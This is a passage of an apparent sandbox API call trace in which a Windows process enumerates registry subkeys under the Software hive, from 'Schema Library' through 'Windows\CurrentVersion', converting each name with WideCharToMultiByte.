RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x58b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x58c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0248.825] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x58b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x58c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0248.825] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x58b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0248.825] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x58b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x58c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0248.825] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x58b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x58c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0248.825] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x58b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x58c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0248.825] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x58b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x58c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0248.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x58b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x58c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0248.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x58b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x58c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x58b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x58c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0248.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x58b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x58c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0248.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x58b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x58c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0248.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x58b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0248.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x58b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0248.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x58c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0248.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x58b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x58c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0248.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x58b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x58c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0248.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x58b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x58c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0248.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x58b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x58c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0248.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x58b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x58c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0248.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x58b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x58c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0248.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x58b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0248.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x58b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x58c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0248.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x58b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0248.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x58b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x58c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0248.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x58b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x58c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0248.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x58b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x58c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0248.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x58b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0248.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x58b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x58c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0248.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x58b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0248.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x58b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x58c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0248.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x58b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x58c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0248.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x58b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x58c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0248.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x58b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x58c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0248.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x58b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x58c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0248.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x58b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0248.830] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0248.830] RegCloseKey (hKey=0x38) returned 0x0 [0248.830] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x58b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x58c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0248.830] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0248.830] RegCloseKey (hKey=0xc4) returned 0x0 [0248.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x58b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x58c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0248.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x58b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x58c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0248.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x58b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 